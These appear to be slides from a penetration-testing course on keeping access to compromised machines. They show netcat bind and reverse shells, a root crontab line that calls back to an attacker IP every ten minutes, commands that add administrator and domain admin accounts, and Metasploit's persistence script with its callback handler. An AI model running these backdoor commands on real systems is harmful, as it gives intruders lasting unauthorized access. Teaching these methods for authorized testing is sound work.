Persistence Methods

Persistence?

- The continued or prolonged existence of something
- So we get into a machine once…
  - How do we stay there?
  - How do we get back in later?
    - What if they patch the vulnerability?
    - Or change the password we used to get in?

Make Sure You're Authorized

- This needs to come up in meetings prior to conducting the test.
- The company may not be too keen on the idea of you deliberately introcing a backdoor into their network

Persistence Methods Overview

- Installation of a backdoor that requires authentication
- Installation and/or modification of services to connect back to a system.
- Creation of alternate accounts with complex passwords
- When possible, a backdoor must survive reboots

Netcat: The Swiss Army Knife

- Simple yet flexible network tool
  - Makes it an excellent choice for a backdoor
- Originally released by Hobbit in 1996
- Supports sending and receiving TCP and UDP

Basic Example

- Setup a listener on the target machine
  - nc –l –p 1337
- From the attacker, connect to our new listener
  - nc 192.168.1.10 1337
- What happens?

Transferring Files With Netcat

- Setup a listener on the target, and force input into a file
  - nc –l –p 7777 > virus.exe
- From the local machine, we'll create a connection and send a file
  - nc 192.168.1.10 7777 < virus.exe
- No response given…

Attaching To a Process

- We can tell netcat to bind itself to a process, and make that available over a remote connection
- -e flag
- nc –l –p 12345 –e /bin/sh

Linux Cron Job

- Automatically start a task ag a specific time
- Setup a job to automatically run a metasploit payload, or even to just use netcat to connect back to us.
- Open /etc/crontab on your Linux target
  - The following line will run the command nc 192.168.1.5 12345 –e /bin/bash every ten minutes of every hour of every day every month
  - `*/10 * * * * root nc 192.168.1.5 12345 –e /bin/bash`
- `Service cron restart`
- `Sudo /etc/init.d/cron restart`

Add a User

- Probably the easiest way to gain psersistence
- Add a user, and log in directly (SSH, RDP, etc)
- Stealthy? Meh…
  - Maybe choose a username that looks similar to everything else
- Local vs. Domain
- Groups!!

Add a User

```
C:\Windows\system32>net user bob password /add
The command completed successfully.
```

```
C:\Windows\system32>net localgroup Administrators bob /add
The command completed successfully.
```

```
C:\Windows\system32>net user bob2 password /add /domain
The request will be processed at a domain controller for domain
```

```
C:\Windows\system32>net group "Domain Admins" bob2 /add /domain
The request will be processed at a domain controller for domain
```

Metasploit Persistence

- Script in Meterpreter called *persistence*

```
OPTIONS:

    -A          Automatically start a matching exploit/multi/handler to connect to the agent
    -L <opt>    Location in target host to write payload to, if none %TEMP% will be used.
    -P <opt>    Payload to use, default is windows/meterpreter/reverse_tcp.
    -S          Automatically start the agent on boot as a service (with SYSTEM privileges)
    -T <opt>    Alternate executable template to use
    -U          Automatically start the agent when the User logs on
    -X          Automatically start the agent when the system boots
    -h          This help menu
    -i <opt>    The interval in seconds between each connection attempt
    -p <opt>    The port on which the system running Metasploit is listening
    -r <opt>    The IP of the system running Metasploit listening for the connect back
```

Let’s do it!

```
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-
meterpreter >
```

…but we need to catch the callback!

```
msf exploit(ms08_067_netapi) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.71
LHOST => 192.168.1.71
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:443
[*] Starting the payload handler...
```

Rootkits

- Rootkits are not exploits – they're uploaded to a target after exploitation
- Operate at the Kernel level – below that of regular user programs
- Can hook system calls
- Very stealthy
- Task Manager example…

A Bit of Persistence

- Appinit DLLs
- Services
- Trojanized Binaries
- DLL hijacking
- Run key persistence
- Linux SSH Keys
- Startup Files and Login Scripts
- Valid accounts
- Web Shell
- WMI Event Subscription
- DLL Search Order Hijacking